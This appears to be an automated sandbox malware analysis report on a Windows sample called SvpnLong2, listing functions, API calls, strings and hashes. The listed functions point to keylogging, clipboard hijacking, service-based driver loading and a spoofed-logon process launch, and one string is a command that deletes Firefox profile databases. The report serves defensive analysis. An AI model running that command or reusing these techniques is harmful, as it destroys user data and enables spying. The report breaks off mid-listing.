Associated: 00000000.00000002.3529921267.00007FF7FC83D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FC83E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FC84B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FD24B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FDC4B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7fc7a0000_SvpnLong2.jbxd

Similarity

API ID: Heap$CreateInformationVersion
String ID:
API String ID: 3563531100-0
Opcode ID: ae26ec7020b712eb399372c4df4b480842f3712f56d0018bfd8bc90f55895eb9
Instruction ID: d371adc5377cc1970000541fff0612dc5d82d7f1afdbece189726b30cf2ce8a0
Opcode Fuzzy Hash: ae26ec7020b712eb399372c4df4b480842f3712f56d0018bfd8bc90f55895eb9
Instruction Fuzzy Hash: 01F0BE30E3864282F720BB60B806374A690AF98354FD05432C91E832E4DE3CA79692F0

Function 02142900 Relevance: 3.1, APIs: 2, Instructions: 65networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 02142960
send.WS2_32 ref: 0214299F

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: 15db26ce0b318c216a0a286f3bd2225c8393db57c311448df21e445c578b8900
Instruction ID: a28664321ae4198c99f34e036dd06d2124d5281d52ec13980f35d53f4c799acc
Opcode Fuzzy Hash: 15db26ce0b318c216a0a286f3bd2225c8393db57c311448df21e445c578b8900
Instruction Fuzzy Hash: 2B11D332744AA285E7305F26E84472ABA54FB89BE4F542235FE5D47F95EF78C0C68700

Function 02143430 Relevance: 3.1, APIs: 2, Instructions: 60COMMON

Download Yara Rule

APIs

GetCurrentHwProfileA.ADVAPI32 ref: 0214346F
GetComputerNameA.KERNEL32 ref: 021434C5

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: ComputerCurrentNameProfile
String ID:
API String ID: 3082751485-0
Opcode ID: c49c7343b0b2ac51c49a6bf8ef522b297d2d96efd54e54237479135a0d125075
Instruction ID: 034b01c911935bcf1baeb3be8ed7a1aeece50802e6fa5587584530522f1deefe
Opcode Fuzzy Hash: c49c7343b0b2ac51c49a6bf8ef522b297d2d96efd54e54237479135a0d125075
Instruction Fuzzy Hash: AD216872218BC089DB70CF24E45439EB7A2F7947A4F405316EAAD83A98DB3DC109CB11

Function 02152FEC Relevance: 3.0, APIs: 2, Instructions: 25threadCOMMON

Download Yara Rule

APIs

Part of subcall function 021548D4: GetLastError.KERNEL32(?,?,000002C8,02153209,?,?,?,?,0215A510,?,?,00000000,021553AF,?,?,00000000), ref: 021548DE
Part of subcall function 021548D4: FlsGetValue.KERNEL32(?,?,000002C8,02153209,?,?,?,?,0215A510,?,?,00000000,021553AF,?,?,00000000), ref: 021548EC
Part of subcall function 021548D4: FlsSetValue.KERNEL32(?,?,000002C8,02153209,?,?,?,?,0215A510,?,?,00000000,021553AF,?,?,00000000), ref: 02154918
Part of subcall function 021548D4: GetCurrentThreadId.KERNEL32 ref: 0215492C
Part of subcall function 021548D4: SetLastError.KERNEL32(?,?,000002C8,02153209,?,?,?,?,0215A510,?,?,00000000,021553AF,?,?,00000000), ref: 02154944

RtlExitUserThread.NTDLL(?,?,?,0215302E,?,?,?,?,021530BB), ref: 02153008
_getptd.LIBCMT ref: 02153014

Part of subcall function 02154AB0: FlsGetValue.KERNEL32(?,?,00000000,02153006,?,?,?,0215302E,?,?,?,?,021530BB), ref: 02154AC9
Part of subcall function 02154AB0: FlsSetValue.KERNEL32(?,?,00000000,02153006,?,?,?,0215302E,?,?,?,?,021530BB), ref: 02154ADA
Part of subcall function 02154AB0: _freefls.LIBCMT ref: 02154AE3

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: Value$ErrorLastThread$CurrentExitUser_freefls_getptd
String ID:
API String ID: 1633623398-0
Opcode ID: 85fdc1df799093895e12fe98830ce453a0a687f40f240592b3a92065fa31124d
Instruction ID: c8446f9a05eefa85bf55f070be5ccf327eee7ecff6aeaf0ca735f49af500187a
Opcode Fuzzy Hash: 85fdc1df799093895e12fe98830ce453a0a687f40f240592b3a92065fa31124d
Instruction Fuzzy Hash: F7E0EC11B82298CACE1CBBB1589976D12939F99B00F9598B88E2F47741DF3884994B44

Function 02141370 Relevance: 2.6, APIs: 2, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,00000000,021428B9), ref: 021413E1
VirtualFree.KERNELBASE(?,?,00000000,021428B9), ref: 02141415

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 22b099a9a0ceb279cb18a48dd4b8351576473fc888246094d87800388a397386
Instruction ID: 7c46893887d5bc78566e51d40d46b60e5ec73ab2cdc07e3a44216c8111fa7706
Opcode Fuzzy Hash: 22b099a9a0ceb279cb18a48dd4b8351576473fc888246094d87800388a397386
Instruction Fuzzy Hash: 37218432754A409BDB48CB2AE54471EB3A1F788B94F548525DB5D93B18EF34D8E28B40

Function 021412B0 Relevance: 2.6, APIs: 2, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,?,021427C2), ref: 02141303
VirtualFree.KERNEL32(?,?,?,021427C2), ref: 0214133C

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: c7620fa8e2e65044c607154e1f8bc049c84698878f3340dbe2d286ecc7890aba
Instruction ID: f8a1656907a778ac7a41c2d035960c75e8cfbd42163737232e091fd116713e6a
Opcode Fuzzy Hash: c7620fa8e2e65044c607154e1f8bc049c84698878f3340dbe2d286ecc7890aba
Instruction Fuzzy Hash: 94118231751B8486DB59CF35A54471AB3A5E794BD8F188125DE4A83B18EF38C4D6CB40

Function 0214E9AD Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

Part of subcall function 021530BC: _errno.LIBCMT ref: 021530E7
Part of subcall function 021530BC: _invalid_parameter_noinfo.LIBCMT ref: 021530F2

FindCloseChangeNotification.KERNELBASE ref: 0214E9F9

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: ChangeCloseFindNotification_errno_invalid_parameter_noinfo
String ID:
API String ID: 3879645562-0
Opcode ID: e33c38ae5819eb9e48e9ea88f34de7988f70daf09292e8181e9fb43e05a58b4a
Instruction ID: 15e22b5c2032c8b18d827159df7ec5c392383143c499daa029aa91a7a6020dde
Opcode Fuzzy Hash: e33c38ae5819eb9e48e9ea88f34de7988f70daf09292e8181e9fb43e05a58b4a
Instruction Fuzzy Hash: 3EF03932B44754CACB58DFB6A85839E63A6B78C7D4F44416AEE5D87749EF38C204CB40

Function 0214E8A5 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

Part of subcall function 021530BC: _errno.LIBCMT ref: 021530E7
Part of subcall function 021530BC: _invalid_parameter_noinfo.LIBCMT ref: 021530F2

FindCloseChangeNotification.KERNELBASE ref: 0214E9F9

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: ChangeCloseFindNotification_errno_invalid_parameter_noinfo
String ID:
API String ID: 3879645562-0
Opcode ID: fe1b2c9a00d0439b6484432930ce1f5736a7d7bb895aa72d2332d0093413d6f7
Instruction ID: 0262fb6ad491c6ed2e3525629b3c8ade1b15e2dcdeb434b077244e5a84336d97
Opcode Fuzzy Hash: fe1b2c9a00d0439b6484432930ce1f5736a7d7bb895aa72d2332d0093413d6f7
Instruction Fuzzy Hash: 3AE0EC32A48A40C6DB58DFA5B41439A63A5B788794F08452AEE5E43754DF38C155CB04

Function 0214E9D8 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

Part of subcall function 021530BC: _errno.LIBCMT ref: 021530E7
Part of subcall function 021530BC: _invalid_parameter_noinfo.LIBCMT ref: 021530F2

FindCloseChangeNotification.KERNELBASE ref: 0214E9F9

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: ChangeCloseFindNotification_errno_invalid_parameter_noinfo
String ID:
API String ID: 3879645562-0
Opcode ID: d6125d13708f799677689afbea7ffb082b258275de06f0192fa5187475e311fc
Instruction ID: 68a7cff17a1d90419ad86b8cf087e55e7b2a658c0a5aba3f95aff154036676a1
Opcode Fuzzy Hash: d6125d13708f799677689afbea7ffb082b258275de06f0192fa5187475e311fc
Instruction Fuzzy Hash: 47D01273A54B4086D714DF61B42878A6395F798798F484025AE4D47B14DE38C155CB04

Function 0214E91F Relevance: 1.3, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

Part of subcall function 021530BC: _errno.LIBCMT ref: 021530E7
Part of subcall function 021530BC: _invalid_parameter_noinfo.LIBCMT ref: 021530F2

CloseHandle.KERNEL32 ref: 0214E957

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: CloseHandle_errno_invalid_parameter_noinfo
String ID:
API String ID: 4154143816-0
Opcode ID: 6968cceffff01d735b6ebd56def7f1b4ed7aa33f54521a4776e989f45e377667
Instruction ID: 8d424a2ebe2c385f43d5012f792164259e3e397f34d8b9379d33defa1215a675
Opcode Fuzzy Hash: 6968cceffff01d735b6ebd56def7f1b4ed7aa33f54521a4776e989f45e377667
Instruction Fuzzy Hash: 2AF05E32A44754C6E744DF95F4183DAB7A1F388BA8F080126DF4D47B55CB78C199CB44

Function 0214E7A5 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 0214E7B1

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 173b2ec5e022ee776b24513b541c10d14d834b8f36d2d81bd77bd2e64784ec69
Instruction ID: fa85d38cd3700a1ed5e95e9edd85aa432bb62f2ff85306acfbf72e74ff1207a7
Opcode Fuzzy Hash: 173b2ec5e022ee776b24513b541c10d14d834b8f36d2d81bd77bd2e64784ec69
Instruction Fuzzy Hash: 70E04F37658AC486E3418B59F0083DAA321E394BA4F0C1011DF8D07A95CFBCC4D6CB40

Non-executed Functions

Function 0214F8D0 Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 132servicefilesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 021538A4: GetSystemTimeAsFileTime.KERNEL32 ref: 021538B2

Part of subcall function 02154238: _getptd.LIBCMT ref: 02154240

rand.LIBCMT ref: 0214F930

Part of subcall function 02154250: _getptd.LIBCMT ref: 02154254

OpenSCManagerA.ADVAPI32 ref: 0214F972
CreateFileA.KERNEL32 ref: 0214F9B6
CloseHandle.KERNEL32 ref: 0214F9D1
CloseServiceHandle.ADVAPI32 ref: 0214F9DA
CreateServiceA.ADVAPI32 ref: 0214FA3A
WriteFile.KERNEL32 ref: 0214FA62
DeleteService.ADVAPI32 ref: 0214FA6F
CloseServiceHandle.ADVAPI32 ref: 0214FA78

Part of subcall function 021522C0: GetComputerNameA.KERNEL32 ref: 0215230D
Part of subcall function 021522C0: lstrcpy.KERNEL32 ref: 02152323
Part of subcall function 021522C0: wsprintfA.USER32 ref: 02152352

CloseHandle.KERNEL32 ref: 0214FA81
CloseServiceHandle.ADVAPI32 ref: 0214FA8A
CloseHandle.KERNEL32 ref: 0214FA95
StartServiceA.ADVAPI32 ref: 0214FAA3
Sleep.KERNEL32 ref: 0214FAAE
DeleteService.ADVAPI32 ref: 0214FAC0
CloseServiceHandle.ADVAPI32 ref: 0214FAC9
CloseServiceHandle.ADVAPI32 ref: 0214FAD2
DeleteFileA.KERNEL32 ref: 0214FAE0

Strings

driver, xrefs: 0214FAE8
C:\ProgramData\girl.jpg, xrefs: 0214F8F1

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: Service$CloseHandle$File$Delete$CreateTime_getptd$ComputerManagerNameOpenSleepStartSystemWritelstrcpyrandwsprintf
String ID: C:\ProgramData\girl.jpg$driver
API String ID: 2345241111-1437884672
Opcode ID: a107be9385c62a5b7babb882935d7447d40bd0f1bf2e036e700a274d36e5f5d9
Instruction ID: 532be29b6997adbf85eea65ff875ce732042042a16da6483615a9d2504f3f2d0
Opcode Fuzzy Hash: a107be9385c62a5b7babb882935d7447d40bd0f1bf2e036e700a274d36e5f5d9
Instruction Fuzzy Hash: 07513C31658B808AEB249F25F86C39E73A1F799B94F554225DE9E47B64DF3CC04ACB00

Function 021584A8 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 200COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 021584D8
_invalid_parameter_noinfo.LIBCMT ref: 021584E3
_errno.LIBCMT ref: 02158508
_errno.LIBCMT ref: 02158510
_errno.LIBCMT ref: 02158534
_errno.LIBCMT ref: 0215866F

Strings

del /s /f %appdata%\Mozilla\Firefox\Profiles\*.db, xrefs: 021584B3
PATH, xrefs: 02158558

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID: PATH$del /s /f %appdata%\Mozilla\Firefox\Profiles\*.db
API String ID: 2819658684-2861927837
Opcode ID: 16eb0ea71d57a3bd6c123992474995924112951501028e909f13044014a2df03
Instruction ID: 2f7b28fd102d95bc22e1fc2e605c71509750475e9237fa258922be6449866a8b
Opcode Fuzzy Hash: 16eb0ea71d57a3bd6c123992474995924112951501028e909f13044014a2df03
Instruction Fuzzy Hash: DA510961781274CAFF24AB35954477E66839B85BE4F4686E5DE3607B94EF3CC0C18B01

Function 0214DA90 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 125synchronizationfilekeyboardCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32 ref: 0214DACD
lstrcat.KERNEL32 ref: 0214DADD
CreateMutexA.KERNEL32 ref: 0214DAEE
WaitForSingleObject.KERNEL32 ref: 0214DB06
CreateFileA.KERNEL32 ref: 0214DB34
GetFileSize.KERNEL32 ref: 0214DB42
CloseHandle.KERNEL32 ref: 0214DB4D
DeleteFileA.KERNEL32 ref: 0214DB5E
ReleaseMutex.KERNEL32 ref: 0214DB70
GetTickCount.KERNEL32 ref: 0214DC49
GetKeyState.USER32 ref: 0214DC5A

Strings

<, xrefs: 0214DC14
paEqfEiINh.jre, xrefs: 0214DAE3
\paEqfEiINh.jre, xrefs: 0214DAD3

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: File$CreateMutex$CloseCountDeleteFolderHandleObjectPathReleaseSingleSizeStateTickWaitlstrcat
String ID: <$\paEqfEiINh.jre$paEqfEiINh.jre
API String ID: 2154846255-3527366935
Opcode ID: 0c992726324d240eafc517e9b0e7272b964cf960c194869cca18c1b82a84fab7
Instruction ID: 9880468340dbcac7109a8453343e4a2ff6897205a262c496edad92a873fd0e0a
Opcode Fuzzy Hash: 0c992726324d240eafc517e9b0e7272b964cf960c194869cca18c1b82a84fab7
Instruction Fuzzy Hash: 36510271340B8586EB20DF26F89C79A3760FB99B88F468016DA4E47B64DF7DC09AC740

Function 0214F360 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 73memoryprocessthreadCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 0214F3A0
GetCurrentThreadId.KERNEL32 ref: 0214F3A8
VirtualProtect.KERNEL32 ref: 0214F3CF
VirtualProtect.KERNEL32 ref: 0214F3F6
CreateProcessWithLogonW.ADVAPI32 ref: 0214F450
VirtualProtect.KERNEL32 ref: 0214F475
VirtualProtect.KERNEL32 ref: 0214F49C
CloseHandle.KERNEL32 ref: 0214F4AC

Strings

MalseclogonUser, xrefs: 0214F43F
MalseclogonPwd, xrefs: 0214F431
C:\Users\Public\Music\Trace.exe, xrefs: 0214F41D
MalseclogonDomain, xrefs: 0214F438

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: ProtectVirtual$CurrentProcess$CloseCreateHandleLogonThreadWith
String ID: C:\Users\Public\Music\Trace.exe$MalseclogonDomain$MalseclogonPwd$MalseclogonUser
API String ID: 1105788500-813928492
Opcode ID: c3c744244b4ba0166f4aac0889bd4d1c59ceb72ff8b232e4f975cf0e8a33e14d
Instruction ID: fa2086cedf39aabc4e68f7c4a90f2e22af4ea6f925529e8201c0d0de7a3765e9
Opcode Fuzzy Hash: c3c744244b4ba0166f4aac0889bd4d1c59ceb72ff8b232e4f975cf0e8a33e14d
Instruction Fuzzy Hash: E531D532214B8AAADB20CF61F84CBCE7778F794744F410516DA8943A24EF39D66ACB40

Function 01E67E60 Relevance: 18.3, APIs: 12, Instructions: 290COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 01E67E90
_invalid_parameter_noinfo.LIBCMT ref: 01E67E9B
_errno.LIBCMT ref: 01E67EC0
_errno.LIBCMT ref: 01E67EC8
_errno.LIBCMT ref: 01E67EEC

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID:
API String ID: 2819658684-0
Opcode ID: 64c961bb79e97a4b0cce1bc1c3f25c2806c8cd024d514268ab867f6b142047a0
Instruction ID: 538be361317e66d599ba4938c3cd31e21113df7b05b4c9717df83dd840f7b634
Opcode Fuzzy Hash: 64c961bb79e97a4b0cce1bc1c3f25c2806c8cd024d514268ab867f6b142047a0
Instruction Fuzzy Hash: CD711A303A8B4B4FF769B73C4855A7E72CEFB993D8FD46969C196C3191DE24C8418242

Function 0214DEB0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 168stringkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 0214DD70: GetForegroundWindow.USER32 ref: 0214DD9F
Part of subcall function 0214DD70: GetWindowTextA.USER32 ref: 0214DDBC
Part of subcall function 0214DD70: lstrlen.KERNEL32 ref: 0214DDF5
Part of subcall function 0214DD70: GetLocalTime.KERNEL32 ref: 0214DE04
Part of subcall function 0214DD70: wsprintfA.USER32 ref: 0214DE54

GetKeyState.USER32 ref: 0214DFA5
lstrlen.KERNEL32 ref: 0214DFFE
lstrlen.KERNEL32 ref: 0214E01E
lstrlen.KERNEL32 ref: 0214E046
wsprintfA.USER32 ref: 0214E06C
wsprintfA.USER32 ref: 0214E08B
wsprintfA.USER32 ref: 0214E0BE
lstrlen.KERNEL32 ref: 0214E105

Part of subcall function 0214DCA0: WaitForSingleObject.KERNEL32 ref: 0214DCBC
Part of subcall function 0214DCA0: CreateFileA.KERNEL32 ref: 0214DCEE
Part of subcall function 0214DCA0: SetFilePointer.KERNEL32 ref: 0214DD13
Part of subcall function 0214DCA0: lstrlen.KERNEL32 ref: 0214DD1C
Part of subcall function 0214DCA0: WriteFile.KERNEL32 ref: 0214DD39
Part of subcall function 0214DCA0: CloseHandle.KERNEL32 ref: 0214DD42
Part of subcall function 0214DCA0: ReleaseMutex.KERNEL32 ref: 0214DD54

Strings

[esc], xrefs: 0214DF06
%s%s, xrefs: 0214E05F

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: lstrlen$wsprintf$File$Window$CloseCreateForegroundHandleLocalMutexObjectPointerReleaseSingleStateTextTimeWaitWrite
String ID: %s%s$[esc]
API String ID: 3231454590-1031636121
Opcode ID: 95ddf89135496d77df8a34d36fa581a21a90052be2d4c245a83ececa253a15e1
Instruction ID: b1e4f30ded8428d3a1cbe549a85ce81339b0aed77551a02222c6bc2074b10b2c
Opcode Fuzzy Hash: 95ddf89135496d77df8a34d36fa581a21a90052be2d4c245a83ececa253a15e1
Instruction Fuzzy Hash: 52618D31394B448AEB24CF25F8487A937A5F744BC8F494116EE6E57B64DF38D19ACB00

Function 02144210 Relevance: 16.6, APIs: 11, Instructions: 84clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 02144248
IsClipboardFormatAvailable.USER32 ref: 0214425B
GetClipboardData.USER32 ref: 0214426E
GlobalLock.KERNEL32 ref: 0214427A
GlobalAlloc.KERNEL32 ref: 021442DB
EmptyClipboard.USER32 ref: 021442E9
GlobalLock.KERNEL32 ref: 021442F6
SetClipboardData.USER32 ref: 0214432D
GlobalUnWire.KERNEL32 ref: 02144336
GlobalUnWire.KERNEL32 ref: 0214433F
CloseClipboard.USER32 ref: 02144358

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: Clipboard$Global$DataLockWire$AllocAvailableCloseEmptyFormatOpen
String ID:
API String ID: 343666531-0
Opcode ID: ed287dcf398c7b545f1041c4a22155eaef818572090fab8fbdc5a1c55ba00d8f
Instruction ID: e98e011c5a643151b8c1ba341dc3a95cf48231bcd1ee4caa839b965af15a1a1e
Opcode Fuzzy Hash: ed287dcf398c7b545f1041c4a22155eaef818572090fab8fbdc5a1c55ba00d8f
Instruction Fuzzy Hash: 68315B32244A9081EB249B25F85C36E6761FB95BA8F490215DAAE47BE8DF3CC0898710

Function 0215A244 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 159fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_set_error_mode.LIBCMT ref: 0215A289
_set_error_mode.LIBCMT ref: 0215A29A
GetModuleFileNameW.KERNEL32 ref: 0215A2FC

Part of subcall function 02155664: GetCurrentProcess.KERNEL32(?,?,?,?,02155706), ref: 0215567C

GetStdHandle.KERNEL32 ref: 0215A411
WriteFile.KERNEL32 ref: 0215A46E

Strings

<program name unknown>, xrefs: 0215A30B
..., xrefs: 0215A34E
Microsoft Visual C++ Runtime Library, xrefs: 0215A3B5
Runtime Error!Program: , xrefs: 0215A2C9

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: File_set_error_mode$CurrentHandleModuleNameProcessWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 2183313154-4022980321
Opcode ID: 12d14e25eb75a19deaccfa9068706390d48979ce007df0599346763a3732c90e
Instruction ID: ad699eef33da0b3aecc6c3a8afa97d48e8b915310934e5de3bb67f045319b320
Opcode Fuzzy Hash: 12d14e25eb75a19deaccfa9068706390d48979ce007df0599346763a3732c90e
Instruction Fuzzy Hash: 8051E4357846A0CAEB24DB35A85879F7396FF85788F984256DE7A43B44DF3CC206CA40

Function 02153FA4 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 02158BB4: _lock.LIBCMT ref: 02158BDB
Part of subcall function 02158BB4: _errno.LIBCMT ref: 02158BEF
Part of subcall function 02158BB4: _invalid_parameter_noinfo.LIBCMT ref: 02158BFB

_errno.LIBCMT ref: 0215402B
_errno.LIBCMT ref: 02154032
_errno.LIBCMT ref: 02154052

Part of subcall function 02155664: GetCurrentProcess.KERNEL32(?,?,?,?,02155706), ref: 0215567C

_errno.LIBCMT ref: 0215405B
